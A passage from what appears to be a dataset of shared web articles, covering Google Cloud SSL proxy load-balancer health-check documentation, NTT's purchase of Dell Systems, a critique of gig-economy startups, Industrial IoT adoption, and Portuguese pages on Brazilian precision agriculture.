instance groups. When you configure the health check to be of type SSL , an SSL connection is opened to each of your instances. When you configure the health check to be of type TCP , a TCP connection is opened. The health check itself can use one of the following checks: Simple handshake health check (default): the health checker attempts a simple TCP or SSL handshake. If it is successful, the instance passes. Request/response health check : you provide a request string for the health checker to send after completing the TCP or SSL handshake. If the instance returns the response string you've configured, the instance is marked as HEALTHY . Both the request and response strings can be up to 1024 bytes. If the check succeeds twice in a row (the default) on a new instance, the instance is marked HEALTHY . If the check fails twice in a row (the default) on a HEALTHY instance, the instance is marked UNHEALTHY . If the check is again successful twice in a row (default), the instance is marked as HEALTHY again. Existing connections are allowed to continue on instances that have failed their health check. Create a health check gcloud alpha compute health-checks create [tcp | ssl] my-ssl-health-check \ [--port PORT ] \ ...other options If you are encrypting traffic between the load balancer and your instances, use an SSL health check. If the traffic is unencrypted, use a TCP health check. Health check create options --check-interval [CHECK_INTERVAL]; default= 5s How often to perform a health check for an instance. For example, specifying 10s will run the check every 10 seconds. Valid units for this flag are s for seconds and m for minutes. --description [DESCRIPTION] An optional textual description for the health check. Must be surrounded by quotes if the string contains spaces. --healthy-threshold [HEALTHY_THRESHOLD]; default= 2 The number of consecutive successful health checks before an unhealthy instance is marked as HEALTHY . --port [PORT]; default= 80 for TCP, 443 for SSL The TCP port number that this health check monitors. --request An optional string of up to 1024 characters that the health checker can send to the instance. The health checker then looks for a reply from the instance of the string provided in the --response field. If --response is not configured, the health checker does not wait for a response and regards the check as successful if the TCP or SSL handshake was successful. --response An optional string of up to 1024 characters that the health checker expects to receive from the instance. If the response is not received exactly, the health check fails. If --response is configured, but not --request , the health checker will wait for a response anyway. Unless your system automatically sends out a message in response to a successful handshake, always configure --response to match an explicit --request . --timeout [TIMEOUT]; default= 5s If the health checker doesn't receive valid response from the instance within this interval, the check is considered a failure. For example, specifying 10s will cause the check to wait for 10 seconds before considering the request a failure. Valid units for this flag are s for seconds and m for minutes. --unhealthy-threshold [UNHEALTHY_THRESHOLD]; default= 2 The number of consecutive health check failures before a healthy instance is marked as UNHEALTHY . List health checks Lists all the health checks in the current project. gcloud alpha compute health-checks list NAME PROTOCOL my-ssl-health-check SSL Describe a health check Provides detailed information about a specific health check. gcloud alpha compute health-checks describe my-ssl-health-check checkIntervalSec: 5 creationTimestamp: '2016-02-20T20:47:26.034-08:00' description: '' healthyThreshold: 2 id: '1423984233044836273' kind: compute#healthCheck name: my-ssl-health-check selfLink: [PROJECT_ID]/global/healthChecks/my-ssl-health-check sslHealthCheck: port: 443 timeoutSec: 5 type: SSL unhealthyThreshold: 2 To modify a parameter in a health check, run the following command and pass in any of the create parameters. Any specified parameters will be changed. All unspecified parameters will be left the same. gcloud alpha compute health-checks [tcp|ssl] update [--options] Example: gcloud alpha compute health-checks update ssl my-ssl-health-check \ --description ""SSL health check"" Updated [ [PROJECT_ID]/global/healthChecks/my-ssl-health-check]. Recommendations You should configure the load balancer to prepend a PROXY protocol version 1 header if you need to retain the client connection information. If your traffic is HTTPS, then you should use HTTPS Load Balancing and not SSL proxy for load balancing. Troubleshooting Pages fail to load from load balancer IP Verify the health of instances Verify that the instances are HEALTHY. gcloud alpha compute backend-services get-health my-backend-service --- backend: [PROJECT_ID]/zones/us-central1-b/resourceViews/us-ig1 status: kind: compute#backendServiceGroupHealth --- backend: [PROJECT_ID]/zones/us-east1-b/instanceGroups/us-ig2 status: kind: compute#backendServiceGroupHealth Confirm that your firewall rule is correct Both the health checker and the load balancer need 130.211.0.0/22 to be open If you are doing SSL between the load balancer and the instances, you should do an SSL health check. In that case, tcp:443 must be allowed by the firewall from 130.211.0.0/22 . If you are doing TCP to the instances, do a TCP health check and open tcp:80 from 130.211.0.0/22 instead. If you are leveraging instance tags, make sure the tag is listed as under TARGET_TAGS in the firewall rule, and make sure all your instances have that tag. In this example, instances are tagged with ssl-lb . gcloud compute firewall-rules list NAME NETWORK SRC_RANGES RULES SRC_TAGS TARGET_TAGS allow-ssl-130-211-0-0-22 default 130.211.0.0/22 tcp:443 ssl-lb Try to reach individual instances Temporarily set a firewall rule that allows you to access your instances individually, then try to load a page from a specific instance. Then access one or more of your instances directly from your browser. [EXTERNAL_IP] Alpha Limitations The PROXY protocol header is currently only allowed if the protocol between the load balancer and the instance is set to TCP. This will be fixed for protocol SSL by Beta timeframe. FAQ When should I use HTTPS load balancing instead of SSL proxy load balancing? Though SSL proxy can handle HTTPS traffic, HTTPS Load Balancing has additional features that make it a better choice in most cases. HTTPS load balancing has the following additional functionality: Negotiates HTTP/2 and SPDY/3.1 Rejects invalid HTTP requests or responses Forwards requests to different instance groups based on URL host and path Integrates with Cloud CDN . Spreads the request load more evenly among instances, providing better instance utilization. HTTPS load balances each request separately, whereas SSL proxy sends all bytes from the same SSL or TCP connection to the same instance. SSL proxy for Google Cloud Load Balancing can be used for other protocols that use SSL, such as Websockets and IMAP over SSL. Can I view the original IP address of the connection to the global load balancing layer? Yes. You can configure the load balancer to prepend a PROXY protocol version 1 header to retain the original connection information. See Update proxy protocol header for the proxy for details.",en
1459217994,CONTENT SHARED,-5170198873410718233,-1032019229384696495,3042342415047984532,,,,HTML,http://techcrunch.com/2016/03/28/ntt-to-buy-dells-services-division-for-3-05-billion/,NTT to buy Dell's services division for $3.05 billion,"You may know Dell as a computer and server maker, but Dell also operates a substantial IT services division - at least it did until today. NTT Data , the IT services company of NTT, is acquiring Dell Systems for $3.05 billion. The main reason why Dell sold off its division is that the company needs cash, and quickly. When Dell acquired EMC for $67 billion , the company promised that it would find ways to help finance the debt needed for the EMC acquisition. But $3.05 billion doesn't seem much. First, Dell acquired Perot Systems (which later became Dell Systems) for $3.9 billion in 2009. Second, Dell wanted more than $3.05 billion. Rumor has it that Dell was asking for $5 or $6 billion. So it looks like Dell didn't have enough time to find another potential buyer to outbid NTT. On the other side of the equation, NTT wants Dell Systems because Japan-based NTT is trying to expand its client base to new regions. Dell Systems is mostly operating in North America in the health-sector. NTT has already acquired Dimension Data in South Africa and Keane Inc. in the U.S. The company is just iterating on its strategy of expanding its foreign presence. Many Japanese companies have been looking at foreign markets when it comes to growth. In short, Dell is offloading side businesses in order to finance the EMC acquisition. Nobody knows if the EMC acquisition was a smart move, but at least Dell is committed to this strategy. Meanwhile, NTT is slowly but surely expanding to new markets. Featured Image: dokmai / Shutterstock",en
1459229160,CONTENT SHARED,-3367778232969996503,-1032019229384696495,3042342415047984532,,,,HTML,http://www.salon.com/2016/03/27/good_riddance_gig_economy_uber_ayn_rand_and_the_awesome_collapse_of_silicon_valleys_dream_of_destroying_your_job/,"Good riddance, gig economy: Uber, Ayn Rand and the awesome collapse of Silicon Valley's dream of destroying your job","The Uber model just doesn't work for other industries. The price points always fail -- and that's a good thing The New York Times' Farhad Manjoo recently wrote an oddly lamenting piece about how ""the Uber model, it turns out, doesn't translate."" Manjoo describes how so many of the ""Uber-of-X"" companies that have sprung up as part of the so-called sharing economy have become just another way to deliver more expensively priced conveniences to those with enough money to pay. Ironically many of these Ayn Rand-inspired startups have been kept alive by subsidies of the venture capital kind which, for various reasons, are starting to dry up. Without that kind of ""VC welfare,"" these companies are having to raise their prices, and are finding it increasingly difficult to retain enough customers at the higher price point. Consequently, some of these startups are faltering; others are outright failing. Witness the recent collapse of SpoonRocket , an on-demand pre-made meal delivery service. Like Uber wanting to replace your car, SpoonRocket wanted to get you out of your kitchen by trying to be cheaper and faster than cooking. Its chefs mass-produced its limited menu of meals, and cars equipped with warming cases delivered the goods, aiming for ""sub-10 minute delivery of sub-$10 meals."" But it didn't work out as planned. And once the VC welfare started backing away, SpoonRocket could not maintain its low price point. The same has been happening with other on-demand services such as the valet-parking app Luxe, which has degraded to the point where Manjoo notes that "" prices are rising , service is declining, business models are shifting, and in some cases, companies are closing down."" Yet the telltale signs of the many problems with this heavily subsidized startup business model have been prevalent for quite some time, for those who wanted to see. In July 2014, media darling TaskRabbit, which had been hailed as a revolutionary for the way it allowed vulnerable workers to auction themselves to the lowest bidders for short-term gigs, underwent a major ""pivot."" That's Silicon Valley-speak for acknowledging that its business model wasn't working. It was losing too much money, and so it had to shake things up. TaskRabbit revamped how its platform worked, particularly how jobs are priced. CEO Leah Busque defended the changes as necessary to help TaskRabbit keep up with ""explosive demand growth,"" but published reports said the company was responding to a decline in the number of completed tasks. Too many of the Rabbits, it turns out, were not happy bunnies - they were underpaid and did a poor job, despite company rhetoric to the contrary. An increasing number of them simply failed to show up for their tasks . As a results, customers also failed to return. A contagion of pivots began happening among other sharing economy startups. Companies like Cherry (car washes), Prim (laundry), SnapGoods (gear rental), Rewinery (wine), HomeJoy (home cleaning) all went bust, some of them quietly and others with more headlines. Historical experience shows that three out of four startups fail , and more than nine out of 10 never earn a return. My favorite example is SnapGoods, which is still cited today by many journalists who are pumping up the sharing economy (and haven't done their homework) as a fitting example of a cool, hip company that allows people to rent out their spare equipment, like that drill you never use, or your backpack or spare bicycle-even though SnapGoods went out of business in August 2012. It just disappeared, poof, without a trace, yet goes on living in the imagination of sharing economy boosters. I conducted a Twitter interview with its former CEO, Ron J. Williams, as well as with whatever wizard currently lurks behind the faux curtain of the SnapGoods Twitter account, and the only comment they would make is that ""we pivoted and communicated to our 50,000 users that we had bigger fish to try."" Getting even more vague, they insisted ""we decided to build tech to strengthen social relationships and facilitate trust"" -classic sharing-economy speak for producing vaporware instead of substance from a company that had vanished with barely a trace. Zaarly, in its prime, was another sharing-economy darling of the venture capital set, with notable investors including Steve Jobs, hotshot VC firm Kleiner Perkins and former eBay CEO Meg Whitman on its board. It positioned itself in the marketplace as a competitor to TaskRabbit and similar services, with its brash founder and CEO, Bo Fishback, explaining his company's mission to a conference audience: "" If you've ever said, 'I'd pay X amount for Y,' then Zaarly is for you."" Fishback once spectacularly illustrated his brand by bringing on stage a cow being towed by a man in a baseball cap and carrying a jug of milk-""If I'm willing to pay $100 for someone to bring me a glass of fresh milk from an Omaha dairy cow right now, there might very well be a guy who would be super happy to do that,"" he said. That kind of bravado is what gave these companies their electric juice, as media outlets like the Economist lionized them as the ""on-demand"" economy. Like so many of the sharing-economy evangelicals, Fishback brandished a libertarian Ayn Randianism which saw Zaarly as creating ""the ultimate opt-in employment market, where there is no excuse for people who say, 'I don't know how to get a job, I don't know how to get started.'"" But alas, those were the heady, early years, when Zaarly was flush with VC cash. Flash forward to today and Fishback is more humble, as is his company, having gone through several ""pivots."" The ""request anything"" model is gone, as are Fishback's lofty sermons to American workers. Instead, Zaarly has become more narrowly focused on four comparatively mundane markets: house cleaning, handyman services, lawn care and maid service. And then there's Exec. Like Zaarly and TaskRabbit, Exec also started with great fanfare as a broader errand-running business, this one focused on hiring a personal assistant for busy Masters of the Universe. Like other sharing startups, initially it had grand ambitions about the on-demand economy and fomenting a revolution over how we work: connecting those with more money than time with those 1099 indies who desperately needed the money. But eventually this company too was forced by its market failures to narrow its focus, in this case to housekeeping exclusively. Finally the company flamed out and was sold to another housekeeping startup, Handybook. Exec's former CEO, Justin Kan, wrote a self-reflective farewell blog post about what he thought went wrong with his company . His observations are illuminating. His company had charged customers $25 per hour (which later rose to $30) to hire one of their personal assistants, and the worker received 80 percent, or about $20 per hour. That seemed like a high wage to Kan, but much to his surprise he discovered that, when his errand runners made their own personal calculation, factoring in the unsteadiness of the work, the frequency of downtime, hustling from gig to gig, the on-call nature of the work as well as their own expenses, it wasn't such a great deal. Wrote Kan, ""It turns out that $20 per hour does not provide enough economic incentive to dictate when our errand runners had to be available, leading to large supply gaps at times of spiky demand . . . it was impossible to ensure that we had consistent availability. Kan says the company also acquired a ""false sense that the quality of service for our customers was better than it was"" because the quality of the ""average recruitable errand runner""-at the low pay and on-call demands that Exec wanted-did not result in hiring the self-motivated personality types like those that start Silicon Valley companies. (Surprise, surprise.) That in turn led to too many negative experiences for too many customers, especially since, like with TaskRabbit, a too-high percentage of its on-demand workers simply failed to show up to their gigs. (Surprise, surprise.) It turns out, he discovered, that ""most competent people are not looking for part-time work."" (Surprise, surprise.) Indeed, the reality that the sharing economy visionaries can't seem to grasp is that not everyone is cut out to be a gig-preneur, or to ""build out their own businesses,"" as Leah Busque likes to say. Being an entrepreneur takes a uniquely wired brand of individual with a distinctive skill set, including being ""psychotically optimistic,"" as one business consultant put it. Simply being jobless is not a sufficient qualification. In addition, apparently nobody in Silicon Valley ever shared with Kan or Busque the old business secret that ""you get what you pay for."" That's a lesson that Uber's Travis Kalanick seems determined to learn the hard way as well. Kan, like Leah Busque, Bo Fishman and so many of the wide-eyed visionaries of Silicon Valley, had completely underestimated the human factor. To so many of these hyperactive venture entrepreneurs, workers are just another ore to be fed into their machine. They forget that the quality of the ore is crucial to their success, and that quality was dependent on how well the workers were treated and rewarded. The low pay and uncertain nature of the work keeps the employees wondering if there isn't a better deal somewhere else. Moreover, a degree of tunnel vision has prevented startup entrepreneurs from seeing that their business model often is not scalable or sustainable at the billionaire unicorn leve without ongoing VC welfare subsidies. Silicon Valley has an expression, ""That works on Sand Hill Road"" -referring to the upper-crust boulevard in Menlo Park, California, where much of the world's venture capital makes its home. Some things that seem like great ideas-like paying low wages to personal assistants to shuffle around at your every whim, or lowballing wages for someone to hustle around parking cars for yuppies-only make sense inside the VC bubble that has lost all contact with the realities of everyday Americans. A pattern has emerged about the ""white dwarf"" fate of many of these once-luminous sharing startups: after launching with much fanfare and tens of millions of VC capital behind them, vowing to enact a revolution in how people work and how society organizes peer-to-peer economic transactions, in the end many of these companies morphed into the equivalent of old-fashioned temp agencies (and others have simply imploded into black hole nothingness). Market forces have resulted in a convergence of companies on a few services which had been the most used on their platforms. In a real sense, even the startup king itself, Uber, is merely a temp agency, where workers do only one task: drive cars. Rebecca Smith, deputy director of the National Employment Law Project, compares the businesses of the gig economy to old-fashioned labor brokers. Companies like Instacart, Postmates and Uber, she says, talk as if they are different from old-style employers simply because they operate online. ""But in fact,"" she says, ""they are operating just like farm labor contractors, garment jobbers and day labor centers of old. "" Tech enthusiasts like the Times' Manjoo seem to be waking up to the smell of the coffee. ""The uneven service and increased prices,"" writes Manjoo, ""raise larger questions about on-demand apps"" which he says ""now often feel like just another luxury for people who have more money than time."" Yet that strikes me as too black-and-white, as overly gloomy as Manjoo once was excessively optimistic. The sharing economy apps have proven to be extremely fluid at connecting someone who needs work with someone willing to pay for that work. Some workers have praised the flexibility of the platforms, which allow labor market outsiders - young people, immigrants, minorities and seniors especially - who have difficulty finding work to access additional options. It's better than sitting at home as a couch potato with no income. And by narrowing the scope of their services, these companies stand a better chance of contracting with quality people, and developing real relationships with them. I suspect that, properly pivoted in the right direction, these app-based services will continue to play a role in the economy. Eventually many traditional economy companies may adapt an app-based labor market in ways that we can't yet anticipate. But that means we need to figure out a way to launch a universal, portable safety net for all U.S. workers (hint: we can do it at the local and state levels, we don't need to wait for a dysfunctional Congress). At the end of the day, the sharing economy startups have been hamstrung by the quality of the workers they hire. If they want good workers, they need to offer decent jobs. Otherwise, this sharing economy is not about sharing at all, and not very revolutionary. The current startup model destroys the social connection between businesses and those they employ, and these companies have failed to thrive because they provide crummy jobs that most people only want to do as a very last resort. These platforms show their workforce no allegiance or loyalty, and they engender none in return.",en
1459248284,CONTENT SHARED,4988225165850707692,4670267857749552625,-265833983523746108,,,,HTML,http://cio.economictimes.indiatimes.com/news/internet-of-things/the-internet-of-a-billion-things/48745439,The internet of a billion things | ET CIO,"Industrial adoption of IoT dubbed as Industrial Internet of Things (IIoT) is on ascend. Yet, near-term adoption of IIoT remains limited to achieving operational efficiency as most companies are unable to leverage IIoT for predictive capabilities that create new business opportunity. This article sheds light on the probable future of IIoT adoption and the imperative for businesses to form IIoT investment strategies. During Digital India Week in July, Prime Minister Modi announced the creation of a Centre of Excellence for Internet of Things. This is a timely intervention, as the Internet of Things, or IoT, will is set to transform technological and economic landscape over the next decade. The IoT will directly alter the Indian economy's industrial sectors, including manufacturing, energy, agriculture and transportation Together, these sectors account for close to half of India's GDP. It will also affect India's consumers, as their everyday devices connect to the Internet through tiny embedded sensors and computing power. The total potential payoff is enormous. The most conservative independent estimates place spending on the IoT worldwide at $500 billion by 2020. More optimistic forecasts peg the market as high as $15 trillion of global GDP by 2030. The Government of India estimates India's share to be between five and six percent of the worldwide IoT market through 2020. While consumer adoption of connected technology will be gradual in the short term, it will increase rapidly over the next decade. However, many industrial companies are already embracing what has been dubbed the Industrial Internet of Things, or IIoT. For example, the number of sensors shipped globally has increased more than five-fold from 4.2 billion units in 2012 to 23.6 billion units in 2014. Operational efficiency is one of the key attractions of the IIoT. Companies are seeking productivity gains that could reach 30 percent. For example, a big area for operational gains is in predictive maintenance of assets. This use of the IIoT could help reduce breakdowns by 70 percent, overall maintenance costs by 30 per cent, and repair costs by 12 per cent, according to estimates. However, there is more to the story. The IIoT can also be an important driver of breakthrough innovation and new growth opportunities. The key is to combine use of big data analytics with IIoT capabilities and technologies. For example, a major automobile manufacturer is pursuing a unique approach to increase value for customers: a flexible, convenient pay-per-use model for city dwellers needing cars. Customers can use an app to find the car that is parked nearest to them. They open the door with a membership card, drive to their destination, and simply park the car on the street and lock it up. This service competes with conventional taxis and hourly car rental services. Customers can choose to pay by the mile, the hour or the day. The rates are lower than for taxis, and there is no need to reserve, return or order a car; the cars can be parked and found anywhere use location sensors. Chart: Business benefits for driving near-term adoption of IIoT Source : Industrial Internet of Things: Unleashing the Potential of Connected Products and Services, WEF, January 2015 But are most companies up for the challenge? Survey results indicate that only 40 per cent can predict outcomes based on existing data, and fewer still (36 percent) can optimize operations from that data. Understandably, initial investments are focused on improving the ability to react and repair and move toward zero unplanned downtime. However, when asked about future plans, respondents stated their priorities in more ambitious plans for IIoT: increasing profitability (60 per cent), gaining a competitive advantage (57 per cent) and improving environmental safety and emissions (55 per cent) represent more pervasive, cross-functional and sophisticated uses of it. At Accenture, we believe that the transition from efficiency to value-enhanced growth is likely to follow four distinct phases. (See Figure) Phases one and two will represent immediate opportunities that drive the near-term adoption, starting with operational efficiency. Phases three and four will include long-term structural changes that are roughly three years away from mainstream adoption. These last two phases will lead to disruptive changes in businesses and industries. They will manifest themselves in the form of the outcome economy and an integrated human-machine workforce. Figure: The adoption and impact path of IIoT Source : Industrial Internet of Things: Unleashing the Potential of Connected Products and Services, WEF, January 2015 The outcome economy will be built on the automated quantification capabilities of the Industrial Internet. The large-scale shift from selling products or services to selling measurable outcomes is a significant change that will redefine the base of competition and industry structures. As the Industrial Internet becomes more ingrained in every industry, it will ultimately lead to a pull-based economy characterized by real-time demand sensing and highly automated, flexible production and fulfilment networks. This development will call for a pervasive use of automation and intelligent machines to complement human labour (machine augmentation). As a result, the face of the future workforce will change dramatically, along with the skill sets required to succeed in a much more automated economy. Yet, it is still early. Numerous technology challenges and important hurdles remain to be overcome. Not all products can or need to be connected. But amid the new, an old truth remains: business customers need products and services that create more value for them than those on offer today. The time to push is now. (Anindya Basu is Country Managing Director for Accenture in India & Prabhjit Didyala, Managing Director, Strategy for Accenture in India)",en
1459248366,CONTENT SHARED,-5917314377186856799,4670267857749552625,-265833983523746108,,,,HTML,http://www.senar.org.br/agricultura-precisao/artigos-e-palestras/,Artigos e Palestras - Programa Agricultura de Precisão do SENAR,"Artigos e Palestras ARTIGOS / 2015 12/08/2015 Perspectivas para o agronegócio demandam tecnologias para uma produtividade sustentável 23/06/2015 - Agricultura de precisão para alimentar 9 bilhões ARTIGOS / 2014 16/05/2014 - Adoção da Agricultura de Precisão No Brasil Por: Alberto C. de Campos Bernardi, da Embrapa Pecuária Sudeste ; Ricardo Y. Inamasu - Embrapa Instrumentação ARTIGOS / 2013 01/07/2013 - Agricultura de precisão - uma ferramenta ao alcance de todos (*) Alberto Bernardi é pesquisador da Embrapa Pecuária Sudeste, formado em Agronomia (1992); Mestrado: Solos e Nutrição de Plantas (ESALQ/USP, 1996); Doutorado: Solos e Nutrição de Plantas (ESALQ/USP, 1999).Atua na área de Fertilidade do solo e adubação, integração lavoura-pecuária, agricultura de precisão. (*) Ricardo Inamasu é pesquisador da Embrapa Instrumentação, fez graduação (1984), mestrado (1987) e doutorado (1995) em Engenharia Mecânica na Escola de Engenharia de São Carlos USP e pós-doutorado em Biological Systems Engineering na University of Nebraska - Lincoln. Tem experiência na área de Engenharia Mecânica e Mecatrônica, com ênfase em Instrumentação e Automação Agropecuária. 06/03/2013 - Tecnologia e Inovação na agropecuária brasileira (*) Renato Roscoe é engenheiro agrônomo (UFV, 2005), mestre em ciência do solo (UFLA, 1997) e doutor em environmental sciences (Wageningen University And Research Centre, 2002). Atua como diretor executivo e pesquisador no setor fertilidade do solo na Fundação MS. *Por José Luis da Silva Nunes - Dr. em Fitotecnia pela Universidade Federal do Rio Grande do Sul *Por João Guilherme Sabino Ometto é 2º vice-Presidente da FIESP. Artigo publicado no Jornal O Estado de S. Paulo em 04/10/2012 *Antônio Luis Santi1, Jackson Ernani Fiorin2, Kassia Luiza Teixeira Cocco3, Maurício Roberto Cherubin3, Mateus Tonini Eitelwein3, Telmo Jorge Carneiro Amado4, Fabio Evandro Grub Hauschild5 *Vitor Cauduro Girardello(2), Telmo Jorge Carneiro Amado(3), Rodrigo da Silveira Nicoloso(4), Tiago de Andrade Neves Hörbe(5), Ademir de Oliveira Ferreira(6), Fabiano Mauricio Tabaldi(7) & Mastrângello Enívar Lanzanova(8) *João Augusto Telles Presidente da Comissão de Irrigantes do Sistema FARSUL, Coordenador do Clube da Irrigação, Chefe da Divisão Técnica - SENAR-RS *De Telmo Amado e Antônio Santi, professores do Mestrado Profissional em Agricultura de Precisão da UFSM, Tiago Horbe, tiagohorbe@hotmail.com , e Ademir Ferreira, doutorandos em Ciência do Solo PPGCS-UFSM *José Paulo Molin, é um dos palestrantes dos seminários de Agricultura de Precisão do SENAR. Professor associado do Departamento de Engenharia de Biossistemas - Área de Mecânica e Máquinas Agrícolas da ESALQ/USP. *Ricardo Inamasu, é um dos palestrantes dos seminários sobre Agricultura de Precisão do SENAR. Pesquisador da Embrapa Instrumentação e professor colaborador da Escola de Engenharia de São Carlos, vinculada à Universidade de São Paulo (USP). PALESTRAS / 2013 - Agricultura de Precisão - situação e tendências: Jósé P. Molin - ESALQ/USP - Agricultura de Precisão - Base Conceitual: Ricardo Inamasu - Embrapa - Manejo da lavoura para altas produtividades com base na agricultura de precisão: Telmo Amado",pt
1459248432,CONTENT SHARED,6157037646878010131,4670267857749552625,-265833983523746108,,,,HTML,https://www.macroprograma1.cnptia.embrapa.br/redeap2,Rede Agricultura de Precisão II,"Do Se Te Qu Qu Se Sa 27 28 29 30 31 Faça download gratuito do novo livro: Você quer conhecer a Rede Agricultura de Precisão da Embrapa? Veja o Folder_Rede-AP Agricultura de Precisão Planejamento e gerenciamento de todos os processos da produção A Agricultura de Precisão é um tema abrangente, sistêmico e multidisciplinar. Não se limita a algumas culturas nem a algumas regiões. Trata-se de um sistema de manejo integrado de informações e tecnologias, fundamentado nos conceitos de que as variabilidades de espaço e tempo influenciam nos rendimentos dos cultivos. A agricultura de precisão visa o gerenciamento mais detalhado do sistema de produção agrícola como um todo, não somente das aplicações de insumos ou de mapeamentos diversos, mas de todo os processos envolvidos na produção. Esse conjunto de ferramentas para a agricultura pode fazer uso do GNSS (Global Navigation Satelite System), do SIG (Sistema de Informações Geográficas), de instrumentos e de sensores para medidas ou detecção de parâmetros ou de alvos de interesse no agroecossistema (solo, planta, insetos e doenças), de geoestatística e da mecatrônica. Mas a AP não está relacionada somente ao uso de ferramentas de alta tecnologia, pois os seus fundamentos podem ser empregados no dia-a-dia das propriedades pela maior organização e controle das atividades, dos gastos e produtividade em cada área. O emprego da diferenciação já ocorre na divisão e localização das lavouras dentro das propriedades, na divisão dos talhões ou piquetes, ou simplesmente, na identificação de ""manchas"" que diferem do padrão geral. A partir dessa divisão, o tratamento diferenciado de cada área é a aplicação do conceito de AP. Revolução gerencial, recursos tecnológicos e agregação de valores A Agricultura de Precisão é representada por estes três pontos que convergem em excelência de resultados: * Revolução gerencial; * Tecnologia de Informação; * Agregação de valor à produção. É fator determinante que estes três pontos sejam trabalhados em conjunto para que se estabeleça o aprimoramento da produtividade, da qualidade, do volume a ser produzido e da redução de preço dos produtos para competir no mercado interno e externo. Portanto, tecnologia, planejamento e gerenciamento são os fundamentos da Agricultura de Precisão. Quer saber mais? Os primeiros fundamentos teóricos da Agricultura de Precisão surgiram em 1929, nos Estados Unidos, porém tornou-se mais conhecida na década de 80, devido aos avanços e à difusão dos sistemas de posicionamento geográfico, sistemas de informações geográficas, monitoramento de colheita e também à informática. Além de destacar-se nos EUA, ganhou grande notoriedade em países como Alemanha, Argentina, Austrália, Inglaterra e Brasil. No país, as primeiras pesquisas na área foram realizadas na década de 90. No primeiro momento, a Agricultura de Precisão foi direcionada pelas máquinas agrícolas, como colheitadeiras e semeadeiras, embarcando-se a elas receptores GNSS (Global Navigation Satelite System), sofisticados computadores de bordo e sistemas que possibilitam a geração de mapas de produtividade. Aprimorou-se o mapeamento da variabilidade do solo, plantas e outros parâmetros, resultando numa aplicação otimizada de insumos, diminuindo custos e impactos ambientais negativos, consecutivamente, aumentando o retorno econômico, social e ambiental. Algumas iniciativas em pesquisa e desenvolvimento vêm sendo implementadas, colaborando para a inovação em Agricultura de Precisão no país. Atualmente são 53 grupos de pesquisas registrados no sistema Lattes do CNPq (Conselho Nacional de Desenvolvimento Científico e Tecnológico). No Brasil, o tema vem sendo divulgado em vários eventos importantes onde pesquisadores, empresas e produtores são reunidos: o SIAP (Simpósio Internacional de Agricultura de Precisão) e o ConBAP (Congresso Brasileiro de Agricultura de Precisão). No SIAP de 2007, coordenado pelo Mapa (Ministério da Agricultura, Pecuária e Abastecimento) foi instalado o Comitê Brasileiro de Agricultura de Precisão, um grande avanço para o setor. Nele foram reunidos os principais atores da Agricultura de Precisão no País, fornecendo importantes subsídios para que as políticas públicas possam ser contempladas. As ferramentas no mercado também avançaram, surgiram novos sensores e equipamentos, tornando a prática da AP cada vez mais acessível, com custos mais compatíveis e integráveis ao dia-a-dia de uma propriedade agrícola. No entanto, a adoção da Agricultura de Precisão nos diversos setores do agronegócio brasileiro está ocorrendo em um ritmo inferior ao previsto. Aumentar a taxa de utilização da AP no País, oferecendo tecnologias e conhecimentos para isso, é o papel que a Rede de Agricultura de Precisão da Embrapa pretende cumprir. O conhecimento gerado pela Embrapa, desde a criação da empresa em 1973, tem sido decisivo para o negócio agrícola brasileiro e para a posição de destaque que o Brasil hoje ocupa no cenário agrícola mundial. O Brasil e a Embrapa são referências em tecnologias para a agricultura tropical. O país é um dos líderes mundiais na produção e exportação de vários produtos agropecuários. Graças à essa posição no cenário mundial, o país passou a influir decisivamente no preço e no fluxo de alimentos e outras commodities agrícolas. A visão de futuro, o forte investimento na formação de recursos humanos e a capacidade de estar em sintonia com o avanço da ciência fazem com que a Embrapa possa contribuir para que o Brasil esteja posicionado na fronteira do conhecimento, em temas emergentes como agroenergia, créditos de carbono e biossegurança e em áreas como biotecnologia, nanotecnologia e agricultura de precisão. No caso específico da agricultura de precisão, a atuação da Embrapa e dos parceiros será fundamental para gerar conhecimentos, ferramentas e inovações tecnológicas para aumentar a eficiência dos sistemas produtivos. Estamos traçando o perfil do usuário de Agricultura de Precisão no Brasil. Por favor, nos auxilie respondendo aos questionários abaixo. Existe um para produtores e outro para consultores. PC1 - Gestão do Projeto PC2 - Desenvolvimento e validação de instrumentos e de tecnologias de informação PC3 - Caracterização, monitoramento e manejo da variabilidade espaço temporal em sistemas de culturas anuais PC4 - Caracterização, manejo e monitoramento de atributos do solo e da planta em sistemas de produção de plantas perenes PC5 - Inovação tecnológica em agricultura de precisão Assista aos videos da Rede Agricultura de Precisão da Embrapa! Association of Equipment Manufactures (Associação Norte Americana dos Fabricantes de Equipamentos, USA) Massey Ferguson / Valtra Cooperativa Agrária Agroindustrial Agrosystem Comércio, Imp. e Exp. Ltda APagri Consultoria Agronômica Auteq Computadores e Sistemas Ltda. Agri-Tillage do Brasil Indústria e Comércio de Máquinas e Implementos Agrícolas LTDA Batistella Florestal Fundação AGRISUS - Agricultura Sustentável Campo Agricultura e Meio Ambiente Confederação Nacional de Agricultura Case New Holland Cooperativa Agroindustrial dos Produtores Rurais do Sudoeste Goiano Cooperativa Agropecuária e Industrial Laboratório Nacional de Ciência e Tecnologia do Bioetanol Centro de Tecnologia da Informação Renato Archer Escola de Engenharia de São Carlos - Universidade de São Paulo Enalta Inovações Tecnológicas Empresa de Pesquisa Agropecuária e Extensão Rural de Santa Catarina Escola Superior de Agricultura ""Luiz de Queiroz"" - Universidade de São Paulo Fundação de Amparo à Ciência e Tecnologia do Estado de Pernambuco Mogi Mirim - SP Planaltina de Goiás - GO Castelândia - GO Petrolina - PE Faculdade de Ciências Agronômicas - Universidade Estadual Paulista ""Júlio De Mesquita Filho"" - Campus de Botucatu Florestalle Assessoria e Consultoria Florestal S. S. Agricultura Sustentável FISCHER S/A COM. IND. E AGRICULTURA SLC Agrícola - Fazenda Pamplona, Cristalina - GO Instituto Agronômico de Campinas Instituto Brasileiro de Geografia e Estatística Instituto CNA Máquinas Agrícolas Jacto S/A John Deere Brasil Kuhn do Brasil LOHR Sistemas Eletrônicos Ltda Marchesan Implementos e Máquinas Agrícolas TATU S/A Vinícola Miolo Original Indústria Eletrônica Ltda Escola Politécnica - Universidade de São Paulo Schio Agropecuária Serviço Nacional de Aprendizagem Rural SOMAFÉRTIL LTDA Stara S.A. Indústria de Implementos Agrícolas Terrasul Vinhos Finos Ltda Universidade de Caxias do Sul Universidade Federal de Lavras Faculdade de Agronomia Eliseu Maciel - Universidade Federal de Pelotas Universidade Federal do Rio Grande do Sul Universidade Federal de Santa Maria Programa de Pós-Graduação em Engenharia Agrícola Verion Agricultura A Embrapa está criando o Laboratório de Referência Nacional em Agricultura de Precisão (LANAPRE) , que funcionará como agente integrador das 